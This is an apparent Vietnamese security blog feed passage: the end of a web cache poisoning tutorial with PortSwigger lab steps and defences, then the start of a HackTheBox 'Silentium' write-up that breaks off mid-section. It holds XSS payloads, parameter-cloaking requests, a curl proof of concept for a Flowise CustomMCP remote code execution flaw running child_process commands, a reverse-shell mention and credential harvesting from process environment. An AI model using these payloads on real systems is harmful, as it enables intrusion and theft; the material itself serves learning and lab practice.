
<h3 id="33-tìm-gadget-để-khai-thác">3.3 Tìm “gadget” để khai thác</h3>

<p>Gadget là nơi ứng dụng sử dụng dữ liệu đầu vào, ví dụ:</p>

<ul>
  <li>Reflected XSS</li>
  <li>Open redirect</li>
  <li>Dynamic script import</li>
  <li>JSONP callback</li>
</ul>

<p>Khi kết hợp gadget với sai lệch cache key, có thể biến các lỗ hổng “không khai thác được” thành tấn công thực tế.</p>

<h2 id="5-một-số-kỹ-thuật-phổ-biến">5. Một số kỹ thuật phổ biến</h2>

<ul>
  <li><strong>Header Manipulation</strong>: Chèn mã độc vào các tiêu đề HTTP (như <code class="language-plaintext highlighter-rouge">X-Forwarded-Host</code>) mà ứng dụng phản hồi trực tiếp vào nội dung trang (thường dẫn đến <a href="https://portswigger.net/web-security/cross-site-scripting"><strong>Cross-Site Scripting (XSS)</strong></a>).</li>
  <li><strong>Fat GET requests</strong>: Gửi yêu cầu GET nhưng kèm theo thân tin nhắn (body) chứa các tham số độc hại. Một số hệ thống cache chỉ kiểm tra URL nhưng máy chủ ứng dụng lại xử lý dữ liệu trong body.</li>
  <li><strong>Cache Parameter Cloaking</strong>: Lợi dụng sự khác biệt trong cách máy chủ cache và máy chủ ứng dụng phân tách các tham số (ví dụ: dùng dấu <code class="language-plaintext highlighter-rouge">;</code> thay vì <code class="language-plaintext highlighter-rouge">&amp;</code>) để ẩn giấu các tham số độc hại.</li>
  <li><strong>Unkeyed Port</strong>: Thêm một cổng (port) không hợp lệ vào tiêu đề <code class="language-plaintext highlighter-rouge">Host</code>. Nếu cache bỏ qua cổng này khi tạo khóa nhưng ứng dụng lại sử dụng nó để tạo URL, nó có thể gây ra lỗi <a href="https://cpdos.org/"><strong>Denial of Service (DoS)</strong></a> cho mọi người dùng truy cập trang đó.</li>
</ul>

<h3 id="unkeyed-query-string">Unkeyed query string</h3>

<p>Cache bỏ qua toàn bộ query string, nhưng backend vẫn xử lý:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?q=&lt;payload&gt;
</code></pre></div></div>

<p>→ Có thể biến reflected XSS thành stored XSS thông qua cache.</p>

<h3 id="lab-web-cache-poisoning-via-unkeyed-query-string">Lab: Web Cache Poisoning via Unkeyed Query String</h3>

<p><img src="/assets/images/web-cache-poisoning/image%2029.png" alt="image.png" /></p>

<p>Trong bài lab này, ứng dụng tồn tại một lỗi phổ biến nhưng nguy hiểm: <strong>query string không được đưa vào cache key</strong>. Điều này cho phép kẻ tấn công chèn payload vào response, sau đó khiến cache phục vụ nội dung độc hại cho những người dùng truy cập URL hợp lệ.</p>

<p>Thông thường, cache sẽ sử dụng toàn bộ URL (bao gồm query string) để tạo cache key. Tuy nhiên trong lab này:</p>

<ul>
  <li>Cache <strong>bỏ qua query string</strong></li>
  <li>Backend vẫn <strong>xử lý và phản hồi dựa trên query</strong></li>
</ul>

<p>Điều này tạo ra sự không nhất quán:</p>

<ul>
  <li>Cùng một cache key</li>
  <li>Nhưng response có thể khác nhau tùy theo query</li>
</ul>

<h3 id="các-bước-khai-thác">Các bước khai thác</h3>

<p><strong>Bước 1: Xác định query string không nằm trong cache key</strong></p>

<p>Truy cập trang chủ, gửi request vào Burp Repeater và thử thêm các tham số bất kỳ:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?test=123
GET /?test=456
</code></pre></div></div>

<p>Quan sát thấy:</p>

<ul>
  <li>Response không thay đổi</li>
  <li>Header trả về <code class="language-plaintext highlighter-rouge">X-Cache: hit</code></li>
</ul>

<p><img src="/assets/images/web-cache-poisoning/image%2030.png" alt="image.png" /></p>

<p>Điều này cho thấy query string không ảnh hưởng đến cache key.</p>

<p><strong>Bước 2: Sử dụng cache buster hợp lệ</strong></p>

<p>Vì query không dùng để bust cache được, cần sử dụng header:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Origin: https://abc.com
</code></pre></div></div>

<p>Header này giúp tạo request mới (cache miss) mà không ảnh hưởng logic ứng dụng.</p>

<p><img src="/assets/images/web-cache-poisoning/image%2031.png" alt="image.png" /></p>

<p><strong>Bước 3: Kiểm tra khả năng</strong></p>

<p>Gửi request:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?input=hello
</code></pre></div></div>

<p>Nếu giá trị <code class="language-plaintext highlighter-rouge">hello</code> xuất hiện trong response → tồn tại reflection.</p>

<p><strong>Bước 4: Inject payload XSS</strong></p>

<p>Thực hiện chèn payload:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?evil='/&gt;&lt;script&gt;alert(1)&lt;/script&gt;
Origin: https://abc.com
</code></pre></div></div>

<p>Gửi request nhiều lần cho đến khi response trả về:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>X-Cache: hit
</code></pre></div></div>

<p>Điều này chứng tỏ response chứa payload đã được cache.</p>

<p><img src="/assets/images/web-cache-poisoning/image%2032.png" alt="image.png" /></p>

<p><strong>Bước 5: Xác nhận cache đã bị nhiễm</strong></p>

<p>Gửi lại request <strong>không có query</strong>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /
Origin: https://abc.com
</code></pre></div></div>

<p>Nếu vẫn thấy payload trong response → cache đã bị poison thành công.</p>

<p><img src="/assets/images/web-cache-poisoning/image%2033.png" alt="image.png" /></p>

<p><strong>Bước 6: Khai thác đối với nạn nhân</strong></p>

<ul>
  <li>Loại bỏ header cache buster (<code class="language-plaintext highlighter-rouge">Origin</code>)</li>
  <li>Tiếp tục gửi request chứa payload để duy trì trạng thái cache</li>
  <li>Khi nạn nhân truy cập trang chủ → payload sẽ được thực thi</li>
</ul>

<p><img src="/assets/images/web-cache-poisoning/image%2034.png" alt="image.png" /></p>

<p><img src="/assets/images/web-cache-poisoning/image%2035.png" alt="image.png" /></p>

<h3 id="kết-luận">Kết luận</h3>

<p>Lỗ hổng xuất phát từ việc:</p>

<ul>
  <li>Cache <strong>không tính query string vào cache key</strong></li>
  <li>Backend vẫn <strong>xử lý query và sinh response động</strong></li>
</ul>

<p>Điều này cho phép attacker:</p>

<ul>
  <li>Biến một lỗ hổng XSS phản chiếu thành XSS lưu trữ thông qua cache</li>
  <li>Ảnh hưởng đến tất cả người dùng truy cập trang mà không cần tương tác</li>
</ul>

<h3 id="parameter-cloaking">Parameter cloaking</h3>

<p>Khai thác sự khác biệt trong cách parse query:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?a=1?b=payload
</code></pre></div></div>

<ul>
  <li>Cache: thấy hai parameter, loại bỏ <code class="language-plaintext highlighter-rouge">b</code></li>
  <li>Backend: coi toàn bộ là giá trị của <code class="language-plaintext highlighter-rouge">a</code></li>
</ul>

<h3 id="parameter-cloaking--khai-thác-sai-lệch-parser-giữa-cache-và-backend">Parameter Cloaking – Khai thác sai lệch parser giữa cache và backend</h3>

<p>Trong lab này, điểm mấu chốt không nằm ở việc tìm XSS, mà nằm ở việc <strong>làm cho cache và backend “hiểu request theo hai cách khác nhau”</strong>. Cụ thể, tham số <code class="language-plaintext highlighter-rouge">utm_content</code> bị loại khỏi cache key, trong khi backend vẫn xử lý đầy đủ nội dung của nó. Điều này mở ra khả năng “giấu” payload bên trong tham số tưởng như vô hại này.</p>

<p>Trang web sử dụng một file JavaScript <code class="language-plaintext highlighter-rouge">/js/geolocate.js</code> theo cơ chế JSONP, với tham số <code class="language-plaintext highlighter-rouge">callback</code> quyết định tên hàm sẽ được thực thi. Ví dụ, request:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /js/geolocate.js?callback=setCountryCookie
</code></pre></div></div>

<p>sẽ trả về:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>setCountryCookie({...})
</code></pre></div></div>

<p>Vấn đề là nếu bạn chỉ sửa <code class="language-plaintext highlighter-rouge">callback</code> trực tiếp thì payload sẽ không lan sang người khác, vì tham số này nằm trong cache key. Do đó, cần một cách để <strong>ghi đè giá trị <code class="language-plaintext highlighter-rouge">callback</code> ở backend nhưng vẫn giữ cache key “sạch”</strong>.</p>

<p>Đây là lúc parameter cloaking phát huy tác dụng. Cache chỉ parse tham số dựa trên <code class="language-plaintext highlighter-rouge">&amp;</code>, còn backend (trong trường hợp này giống hành vi của Rails) lại hiểu thêm cả dấu <code class="language-plaintext highlighter-rouge">;</code> là delimiter. Vì vậy, nếu bạn gửi request như sau:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /js/geolocate.js?callback=setCountryCookie&amp;utm_content=foo;callback=alert(1)
</code></pre></div></div>

<p>thì cache sẽ nhìn thấy request với key tương đương:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/js/geolocate.js?callback=setCountryCookie
</code></pre></div></div>

<p>tức là hoàn toàn bình thường. Tuy nhiên, backend lại parse thành hai tham số <code class="language-plaintext highlighter-rouge">callback</code>, và theo quy tắc xử lý, giá trị cuối sẽ được ưu tiên. Kết quả là response thực tế trở thành:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alert(1)({...})
</code></pre></div></div>

<p>Lúc này, bạn đã có một response chứa payload nhưng vẫn mang cache key hợp lệ. Chỉ cần gửi request này lặp lại cho đến khi thấy phản hồi có <code class="language-plaintext highlighter-rouge">X-Cache: hit</code>, nghĩa là cache đã lưu phiên bản độc hại.</p>

<p>Từ đây, nạn nhân không cần truy cập URL chứa payload. Họ chỉ cần load trang bình thường, trình duyệt sẽ tự động import <code class="language-plaintext highlighter-rouge">/js/geolocate.js</code>, và cache sẽ trả về phiên bản đã bị đầu độc. Payload được thực thi ngay lập tức.</p>

<p>Điểm đáng chú ý của lab này là payload không được inject trực tiếp vào tham số nguy hiểm, mà được “giấu” trong một tham số bị bỏ qua bởi cache. Chính sự không nhất quán trong cách parse giữa hai thành phần đã biến một input tưởng như vô hại thành điểm khai thác.</p>

<p>Ngoài ra còn 1 vài kĩ thuật khác mà bạn có thể tham khảo như sau :</p>

<h3 id="duplicate-parameter-override">Duplicate parameter override</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?a=1&amp;b=2;a=payload
</code></pre></div></div>

<ul>
  <li>Cache: <code class="language-plaintext highlighter-rouge">a=1</code></li>
  <li>Backend: <code class="language-plaintext highlighter-rouge">a=payload</code> (ưu tiên giá trị sau)</li>
</ul>

<h3 id="normalization">Normalization</h3>

<p>Cache chuẩn hóa encoding:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>param="&gt;&lt;script&gt;
param=%22%3E%3Cscript%3E
</code></pre></div></div>

<p>→ Hai request có cùng cache key nhưng backend xử lý khác nhau.</p>

<h3 id="fat-get-request">Fat GET request</h3>

<p>Gửi body trong GET request:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?a=1
(body) a=payload
</code></pre></div></div>

<ul>
  <li>Cache dùng query string</li>
  <li>Backend dùng body</li>
</ul>

<h3 id="cache-key-injection">Cache key injection</h3>

<p>Nếu cache key được ghép từ nhiều thành phần mà không escape đúng cách, có thể tạo collision giữa các request khác nhau.</p>

<h3 id="6-cache-rules--điều-kiện-quyết-định-cái-gì-được-cache">6. Cache rules – điều kiện quyết định cái gì được cache</h3>

<p>Bên cạnh cache key, một yếu tố quan trọng khác ảnh hưởng trực tiếp đến hành vi của cache là <strong>cache rules</strong>. Nếu cache key quyết định <em>request nào giống nhau</em>, thì cache rules sẽ quyết định <em>response nào được phép lưu lại và lưu trong bao lâu</em>.</p>

<p>Trong thực tế, cache không lưu tất cả mọi thứ. Nó thường được cấu hình để chỉ cache những tài nguyên “an toàn”, chủ yếu là <strong>static content</strong> – những thứ ít thay đổi và không chứa thông tin nhạy cảm. Ngược lại, các nội dung động (dynamic content) như profile user, đơn hàng, session data… thường không nên bị cache để tránh rò rỉ dữ liệu.</p>

<p>Tuy nhiên, chính cách định nghĩa các rule này lại là nơi phát sinh vấn đề.</p>

<p>Các loại Cache rule phổ biến :</p>

<p>Trong nhiều hệ thống (đặc biệt là CDN), cache rules thường dựa vào pattern của URL. Một số dạng phổ biến bao gồm:</p>

<ul>
  <li>
    <p><strong>Static file extension rules</strong></p>

    <p>Cache sẽ lưu response nếu URL kết thúc bằng các đuôi quen thuộc như <code class="language-plaintext highlighter-rouge">.css</code>, <code class="language-plaintext highlighter-rouge">.js</code>, <code class="language-plaintext highlighter-rouge">.png</code>, <code class="language-plaintext highlighter-rouge">.jpg</code>…</p>

    <p>→ Ví dụ:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  /assets/app.js
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Static directory rules</strong></p>

    <p>Cache sẽ áp dụng cho các đường dẫn bắt đầu bằng prefix nhất định, ví dụ <code class="language-plaintext highlighter-rouge">/static</code>, <code class="language-plaintext highlighter-rouge">/assets</code>, <code class="language-plaintext highlighter-rouge">/images</code>…</p>

    <p>→ Ví dụ:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  /static/logo.png
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>File name rules</strong>
Một số file cụ thể gần như luôn được cache vì ít thay đổi, ví dụ:</p>
    <ul>
      <li><code class="language-plaintext highlighter-rouge">robots.txt</code></li>
      <li><code class="language-plaintext highlighter-rouge">favicon.ico</code></li>
    </ul>
  </li>
</ul>

<p>Ngoài ra, một số hệ thống còn có <strong>custom rules</strong> dựa trên:</p>

<ul>
  <li>query parameters</li>
  <li>header</li>
  <li>hoặc thậm chí phân tích động của request</li>
</ul>

<p>Nghe thì hợp lý, nhưng vấn đề xuất hiện khi:</p>

<blockquote>
  <p>Cache áp dụng rule dựa trên <strong>hình thức của URL</strong>, trong khi server lại xử lý request dựa trên <strong>logic bên trong</strong>.</p>

</blockquote>

<p>Ví dụ:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/profile/123/test.css
</code></pre></div></div>

<ul>
  <li>Cache thấy <code class="language-plaintext highlighter-rouge">.css</code> → nghĩ là file tĩnh → cho phép cache</li>
  <li>Server lại ignore phần <code class="language-plaintext highlighter-rouge">.css</code> → vẫn trả về dữ liệu profile user</li>
</ul>

<p>Kết quả:</p>

<ul>
  <li>Response chứa thông tin nhạy cảm bị cache</li>
  <li>Các user khác có thể truy cập lại cùng URL và nhận dữ liệu đó</li>
</ul>

<p>Đây chính là nền tảng của <strong>Web Cache Deception</strong>.</p>

<blockquote>

  <p>Điều quan trọng là phải phân biệt giữa tấn công đánh lừa bộ nhớ cache web và tấn công làm nhiễm độc bộ nhớ cache web. Mặc dù cả hai đều khai thác cơ chế bộ nhớ cache, nhưng chúng thực hiện điều đó theo những cách khác nhau:</p>

  <ul>
    <li>Tấn công đầu độc bộ nhớ cache web bằng cách thao túng các khóa bộ nhớ cache để chèn nội dung độc hại vào phản hồi được lưu trong bộ nhớ cache, sau đó nội dung này sẽ được gửi đến người dùng khác.</li>
    <li>Tấn công đánh lừa bộ nhớ cache web lợi dụng các quy tắc của bộ nhớ cache để lừa bộ nhớ cache lưu trữ nội dung nhạy cảm hoặc riêng tư, từ đó kẻ tấn công có thể truy cập được.</li>
  </ul>
</blockquote>

<p>Vì bài viết này cũng khá dài rồi nên mình hẹn các bạn về chủ đề về Web Cache Deception vào bài viết sau nhé còn giờ thì mình cùng đi tới biện pháp phòng vệ cho lỗ hổng này</p>

<h2 id="vcách-phòng-ngừa-các-lỗ-hổng-đầu-độc-bộ-nhớ-cache-web">V.<strong>Cách phòng ngừa các lỗ hổng đầu độc bộ nhớ cache web</strong></h2>

<p>Để giảm thiểu rủi ro từ các kỹ thuật web cache poisoning, ngoài những cấu hình cơ bản, cần nhìn nhận vấn đề ở mức kiến trúc tổng thể thay vì chỉ vá từng điểm riêng lẻ.</p>

<ul>
  <li>Chỉ cache nội dung <strong>thực sự tĩnh</strong>. Cẩn thận vì nếu attacker điều khiển được cách load resource (qua header), thì JS/CSS cũng có thể bị inject như bài lab demo ở rteen.</li>
  <li>Khi dùng <strong>CDN / bên thứ ba</strong>, cần kiểm soát header. Những header không cần thiết như <code class="language-plaintext highlighter-rouge">X-Forwarded-*</code> nên tắt, vì đây là nguồn gây cache poisoning phổ biến.</li>
  <li>Không nên loại bỏ tham số khỏi <strong>cache key</strong> chỉ để tối ưu. Nếu backend vẫn dùng thì sẽ thành <strong>unkeyed input → dễ bị exploit</strong>. Nên rewrite hoặc chuẩn hóa request.</li>
  <li>Tránh <strong>fat GET request</strong> (GET có body / override method) vì có thể làm lệch giữa cache và backend.</li>
  <li>Dùng <strong>Cache-Control hợp lý</strong>: <code class="language-plaintext highlighter-rouge">private</code> hoặc <code class="language-plaintext highlighter-rouge">no-store</code> cho dữ liệu nhạy cảm để tránh bị cache ngoài ý muốn.</li>
  <li>Đảm bảo mọi input ảnh hưởng đến response đều nằm trong <strong>cache key</strong>.</li>
  <li><strong>Validate input chặt chẽ</strong>, không phản hồi trực tiếp dữ liệu từ header/query.</li>
  <li>Có thể dùng <strong>WAF</strong> để phát hiện request bất thường (đặc biệt là header manipulation).</li>
  <li>Không bỏ qua các lỗi client như <strong>XSS</strong>, vì kết hợp với cache poisoning có thể thành stored XSS.</li>
</ul>

<p>Đây là document từ team của tụi mình mà bạn có thể tham khảo</p>

<p><a href="https://docs.google.com/document/d/1ygjSs-zsrErgpZUIl0HMPldfBSXBcy7xLod-IaMQGUM/edit?tab=t.0#heading=h.wypu79tk99ql">https://docs.google.com/document/d/1ygjSs-zsrErgpZUIl0HMPldfBSXBcy7xLod-IaMQGUM/edit?tab=t.0#heading=h.wypu79tk99ql</a></p>

<p>Cảm ơn các bạn đã dành thời gian đọc bài viết của mình!!!</p>]]></content><author><name>Phuc Quan</name><email>quan610ll@gmail.com</email></author><category term="Penetration-Testing" /><category term="web" /><category term="cache-poisoning" /><category term="portswigger" /><summary type="html"><![CDATA[I. Lời mở đầu.]]></summary></entry><entry><title type="html">Silentium Machine - HTB</title><link href="https://phucquan.github.io/writeups/machine%20htb/2026/04/27/silentium-machine-htb/" rel="alternate" type="text/html" title="Silentium Machine - HTB" /><published>2026-04-27T00:00:00+00:00</published><updated>2026-04-27T00:00:00+00:00</updated><id>https://phucquan.github.io/writeups/machine%20htb/2026/04/27/silentium-machine-htb</id><content type="html" xml:base="https://phucquan.github.io/writeups/machine%20htb/2026/04/27/silentium-machine-htb/"><![CDATA[<h1 id="silentium-machine---htb">Silentium Machine - HTB</h1>

<p><img src="/assets/images/silentium-machine-htb/image.png" alt="image.png" /></p>

<h3 id="i-recon">I. Recon</h3>

<p>Như mọi machine như bình thường thì trước khi expxloit , mình đã recon bằng nmap và tìm được 2 port là 80 và 22 ,theo như suy đoán của mình lúc ban đầu thì sẽ là tìm thông tin đăng nhập ở trang web và sẽ ssh bằng tài khoản đó. Nhớ là trước tiên các bạn phải bỏ ip cùng với domain của lab vào /etc/hosts nhé.</p>

<p><img src="/assets/images/silentium-machine-htb/image%201.png" alt="image.png" /></p>

<p><img src="/assets/images/silentium-machine-htb/image%202.png" alt="image.png" /></p>

<p><img src="/assets/images/silentium-machine-htb/image%203.png" alt="image.png" /></p>

<p>Khi vào trang web thì thấy trang web này là 1 trang SPA , các nội dung tĩnh và dường như mình cũng không thao tác được các chức năng gì . Và sau đó mình cũng có sử dụng Gobuster hay ffuf để tìm các endpoint cũng như các đường dẫn ẩn để xem có attack surfaces gì đặc biệt không , ngoài assets cùng các file css ra như mình cũng ko thấy gì đặc biệt cả</p>

<p>Sau đó mình mới dò thử các subdomain bằng gobuster vhost thì tìm ra 1 trang subdomain Staging.</p>

<p><img src="/assets/images/silentium-machine-htb/image%204.png" alt="image.png" /></p>

<p>Khi vào trang thì mình thấy hiện ra là 1 trang đăng nhập , thường thi các bài lab như này yêu cầu mình sẽ phải Bypass Authenication . Khi làm tới đoạn này thì cũng mất kha khá thời gian của mình khi mình ko có tài khoản để có thể test bởi vì nó ko có chức năng đăng kí , nhưng khi xem lại trang trước silentium.htb thì ở phía cuối có ba tên đáng nghi</p>

<p><img src="/assets/images/silentium-machine-htb/image%205.png" alt="image.png" /></p>

<p><img src="/assets/images/silentium-machine-htb/image%206.png" alt="image.png" /></p>

<p>Và mình quyết định là test bằng 3 cái tên đó cùng với đuôi là @silentium.htb</p>

<p>Sau một hồi test bằng BurpSuite thì tui cũng thấy được trong phần forgot password thì khi sử dụng chúc năng quên mật khẩu và nhập email là ben@silentium.htb  , thì mình thấy một cái tempToken cùng với role là “admin” do lỗ hổng trả về  dữ liệu trả về ko an toàn . Và mình quyết định lấy token đó reset lại mật khẩu</p>

<p><img src="/assets/images/silentium-machine-htb/image%207.png" alt="image.png" /></p>

<p><img src="/assets/images/silentium-machine-htb/image%208.png" alt="image.png" /></p>

<p><img src="/assets/images/silentium-machine-htb/image%209.png" alt="image.png" /></p>

<p>Cuối cùng thì mình đã reset được mật khẩu và đăng nhập thành công.</p>

<p>Khi vào trang thì mình thấy đây là 1 trang về Flowise . Mình quyết định research trang này trên GG thì biết  Flowise <strong>là công cụ mã nguồn mở, cho phép xây dựng các ứng dụng và tác nhân (agent) AI dựa trên <a href="https://www.google.com/search?q=Large+Language+Models&amp;oq=Flowise+l%C3%A0+g%C3%AC&amp;gs_lcrp=EgZjaHJvbWUqDggAEEUYJxg7GIAEGIoFMg4IABBFGCcYOxiABBiKBTIKCAEQABiABBiiBDIHCAIQABjvBTIHCAMQABjvBTIHCAQQABjvBdIBCDM0NDhqMGo0qAIDsAIB8QV473y8jcbzTw&amp;sourceid=chrome&amp;ie=UTF-8&amp;mstk=AUtExfCO5Z1VipYhgmzndqn-15qpjHWkbQEhZYhKFqT4HNDp6n5ZL__jfedstkgrIeJNqx6AK8iq8bc2alJ7r5KpQhUgUnLwGCcB1MRHA8NvrPae_F_AsfdusqLiu61WyPs2fqfMvE1hoMZgmQHvJ7t_Zsw5HUEngMtW-IUYAgWBiivNErSOCyiwvrc8gDARXcjaRTUAJ4XrCLORbSmHFlgXuOhRbfn90SqREQT_IWUsxD8-GatdMa4Bff8DuVsIy5pQRUerYuDpxYMy6dC5NU3Qfh1W&amp;csui=3&amp;ved=2ahUKEwiu963l8ouUAxXDklYBHVnqJ3YQgK4QegQIARAC">Large Language Models</a> (LLM) thông qua giao diện kéo-thả trực quan, không cần lập trình nhiều (low-code)</strong>. Nó giúp đơn giản hóa việc tạo quy trình làm việc (workflow) tùy chỉnh bằng cách kết nối các thành phần LangChain</p>

<p>Và đồng thời vì đây là 1 trang khá lớn nên mình cũng dự đoán được và tra CVE của nó trên mạng thì đúng là nó bị dính khá là nhìu CVE . Thì sau khi tìm hiểu thì mình tìm thấy được 1 CVE critical gần đây điểm gần như là tối đa là</p>

<ul>
  <li><strong>CVE-2025-59528 (CVSS 10.0 )</strong>: Lỗ hổng cực kỳ nghiêm trọng trong node <code class="language-plaintext highlighter-rouge">CustomMCP</code>. Do thiếu kiểm tra đầu vào, kẻ tấn công có thể tiêm mã JavaScript độc hại qua tham số <code class="language-plaintext highlighter-rouge">mcpServerConfig</code>, dẫn đến việc kiểm soát hoàn toàn hệ thống ( Tức là RCE)</li>
  <li>Lỗ hổng bảo mật tại nút CustomMCP thực chất là một lỗi thực thi mã từ xa (RCE) nghiêm trọng, phát sinh từ việc tin tưởng tuyệt đối vào dữ liệu người dùng. Thay vì sử dụng các phương thức an toàn để xử lý JSON, hàm <code class="language-plaintext highlighter-rouge">convertToValidJSONString</code> lại đưa trực tiếp chuỗi cấu hình vào hàm khởi tạo <code class="language-plaintext highlighter-rouge">Function()</code> để thực thi như mã JavaScript thuần túy. Do dữ liệu đi từ API đến thẳng bộ thực thi của Node.js mà không qua bất kỳ bộ lọc hay xác thực nào, kẻ tấn công có thể dễ dàng chèn mã độc để thao túng các module hệ thống như <code class="language-plaintext highlighter-rouge">child_process</code> hay <code class="language-plaintext highlighter-rouge">fs</code>. Kết quả là máy chủ bị chiếm quyền điều khiển hoàn toàn, cho phép thực thi lệnh hệ điều hành và đánh cắp dữ liệu nhạy cảm một cách dễ dàng.</li>
</ul>

<p><a href="https://github.com/advisories/GHSA-3gcm-f6qx-ff7p">https://github.com/advisories/GHSA-3gcm-f6qx-ff7p</a></p>

<p>Và cũng có POC cho lỗ hổng này và mình quyết định tấn công RCE thử , thì trước khi RCE thì trong POC có cần 1 cái gọi là API key ở  phần Authorization</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">curl</span> <span class="o">-</span><span class="nx">X</span> <span class="nx">POST</span> <span class="nx">http</span><span class="p">:</span><span class="c1">//localhost:3000/api/v1/node-load-method/customMCP \</span>
  <span class="o">-</span><span class="nx">H</span> <span class="dl">"</span><span class="s2">Content-Type: application/json</span><span class="dl">"</span> <span class="o">\</span>
  <span class="o">-</span><span class="nx">H</span> <span class="dl">"</span><span class="s2">Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q</span><span class="dl">"</span> <span class="o">\</span>
  <span class="o">-</span><span class="nx">d</span> <span class="dl">'</span><span class="s1">{
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(</span><span class="se">\</span><span class="s1">"child_process</span><span class="se">\</span><span class="s1">");cp.execSync(</span><span class="se">\</span><span class="s1">"echo !!RCE-OK!! &gt;/tmp/RCE.txt</span><span class="se">\</span><span class="s1">");return 1;})()})"
    }
  }</span><span class="dl">'</span>
</code></pre></div></div>

<p>Và đoạn này cũng làm mình mất khá nhìu thời gian để RCE vì mình tưởng Bearer đó là cái JWT , nên mình ko thể reverse shell được hehee =)).</p>

<p><img src="/assets/images/silentium-machine-htb/image%2010.png" alt="image.png" /></p>

<p>Sau đó mình dựng 1 cổng lắng nghe ở máy của mình</p>

<p><img src="/assets/images/silentium-machine-htb/image%2011.png" alt="image.png" /></p>

<p>Và gửi lệnh Curl trong POC cùng với phần require là reverse shell tới máy của mình</p>

<p><img src="/assets/images/silentium-machine-htb/image%2012.png" alt="image.png" /></p>

<p>Và mình đã giành được quyền kiểm soát hệ thống</p>

<p>Sau các lệnh liệt kê cơ bản thì mình thấy mình đang ở quyền root nhưng lại ở trong 1 container. Thì việc đầu tiên sẽ là escape ra khỏi container này. Thì sau khi đọc được env hay cat <strong><code class="language-plaintext highlighter-rouge">proc/1/environ</code>   như trong ảnh thì thấy được các password đáng ngờ</strong></p>

<p><img src="/assets/images/silentium-machine-htb/image%2013.png" alt="image.png" /></p>

<p>Sau khi tìm được cả 2 mật khẩu đáng ngờ thì mình SSH vào tài khoản ben cùng với mk tìm được ,tìm được cả 2 mật khẩu thì tui thử cả hai (1 trong 2 sẽ vào được ), thì đã vào được tài khoản Ben và phần tiếp theo chỉ còn là leo thang đặc quyền</p>

<p><img src="/assets/images/silentium-machine-htb/17a88a28-7e4d-4ed0-b215-a8571d0a7e8b.png" alt="image.png" /></p>

<p>Flag của user</p>

<p><img src="/assets/images/silentium-machine-htb/image%2014.png" alt="image.png" /></p>

<p>Sau khi kiểm tra 1 vài lệnh leo thang đặc quyền cơ bản thì mình vẫn chưa tìm ra được hướng giải gì .Nên mình quyết định research tham khảo các hướng giải của các pháp sư trung hoa =))).</p>

<p><img src="/assets/images/silentium-machine-htb/image%2015.png" alt="image.png" /></p>

<p>Sau khi mình tham khảo thì họ sẽ liệt kê thử các cổng đang lắng nghe và thấy được tên port là 3001</p>

<p>Tiếp theo mình sẽ lôi port đó ra ngoài bằng lệnh
Lệnh này <strong>dùng để SSH Tunneling (Local Port Forwarding)</strong>. Nó giúp bạn truy cập một dịch vụ đang chạy bên trong máy chủ từ xa như thể nó đang chạy ngay trên máy tính của bạn.
Nhiều khả năng máy chủ (<code class="language-plaintext highlighter-rouge">10.129.197.47</code>) đang chạy một ứng dụng web  ở cổng <strong>3001</strong> nhưng chỉ cho phép truy cập nội bộ (<strong>localhost</strong>). Bằng cách dùng lệnh này, bạn có thể mở trình duyệt trên máy mình, gõ <code class="language-plaintext highlighter-rouge">localhost:3001</code> để truy cập trực tiếp vào ứng dụng đang chạy “ẩn” bên trong máy chủ đó</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">ssh</span> <span class="o">-</span><span class="nx">L</span> <span class="mi">3001</span><span class="p">:</span><span class="mf">127.0</span><span class="p">.</span><span class="mf">0.1</span><span class="p">:</span><span class="mi">3001</span> <span class="nx">ben</span><span class="p">@</span><span class="nd">10</span><span class="p">.</span><span class="mf">129.197</span><span class="p">.</span><span class="mi">47</span> 
</code></pre></div></div>

<p>Hãy đăng kí và vào trang chính xem sao</p>

<p><img src="/assets/images/silentium-machine-htb/image%2016.png" alt="image.png" /></p>

<p><img src="/assets/images/silentium-machine-htb/image%2017.png" alt="image.png" /></p>

<p>bởi vì lúc tra source thì tui có 2 commit hash ?v =….</p>

<p>thì tui lên github của gogs thì thấy commit thì tui biết đây là It’s <strong>Gogs 0.13.0</strong>, a self-hosted Git platform</p>

<p><img src="/assets/images/silentium-machine-htb/image%2018.png" alt="image.png" /></p>

<p>Cũng tương tự như trên mình cũng research về CVE trên phiên bản này trở về trước thì ở năm 2025 gần đây</p>

<p><strong>Lỗ hổng 0-day mới nhất (2025)</strong></p>

